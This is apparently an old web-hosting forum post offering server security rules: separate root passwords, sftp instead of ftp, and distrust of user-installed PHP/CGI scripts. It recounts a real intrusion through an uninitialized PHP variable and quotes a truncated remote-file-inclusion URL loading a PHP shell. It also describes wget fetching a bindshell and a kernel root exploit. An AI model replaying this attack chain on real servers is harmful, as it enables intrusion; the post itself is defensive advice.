All these threads about hacking...hmmm.
Some rules to live by:
1. Treat local root exploits as remote root exploits.
2. Remember that giving someone PHP or cgi access is as good as giving them shell access.
3. Make sure your normal user passwords are different to root's password. Make sure root can't log in except by using su. Never ftp as the root user.
4. Use sftp instead of ftp.
5. Corollary to 3: For random Internet accounts (like this forum, other forums, games, PayPal etc.) for god's sake use a password other than your root password! If you have some web-based administration stuff (does CPanel, Ensim et al. use HTTP or HTTPS?) make sure that the control panel software (a) can't change the root password (b) doesn't know the root password and © you don't use the root password for your control panel admin. Cobalt RaQs are particularly bad - the admin stuff is unencrypted and it can change the root password.
It's quite possible that passwords were sniffed from ftp sessions. All it takes is one compromised box on your subnet, or a compromised router between home and the server. If your non-privileged accounts have different passwords to root, it seriously limits where a password sniffer can go.
On cgi scripts and PHP scripts: Your customers or users typically aren't the threat; skript kiddies rarely buy service to hack a box (but it HAS been known so don't discount the risk).
All it takes is a badly written PHP script. A vhost on my server had this little beauty:
$some_variable wasn't initialized. So the attacker could pass in this to their browser:
http://the-vsite.com/program.php?some_vari...om/phpshell.php
and they were running a PHP shell on my server. From this, they used wget to download a bindshell (opens a TCP port they can telnet to to access a shell) into /tmp, then used the bindshell to try and exploit a local root exploit in the 2.4.19 kernel. Are you running kernel version < 2.4.20? If you are, you're vunerable to being rooted this way. Fortunately, I had implemented a workaround that stopped this exploit from working, and caught the cracker red-handed.
This was through a buggy PHP script - not an Apache exploit, or a buffer overflow, or anything like that. If you host virtual sites, there are probably hundreds of PHP or CGI scripts installed by your users. The probability that one of these scripts is a pile of insecure cruft is very close to 1.
Quite frankly, with the speed of the RS network (and therefore, the extreme desirability of the RS network to DDoS skript kiddies - one RS box has the destructive power of 200 exploited cable modem users) I'm suprised this forum isn't filled with reports of hacked servers.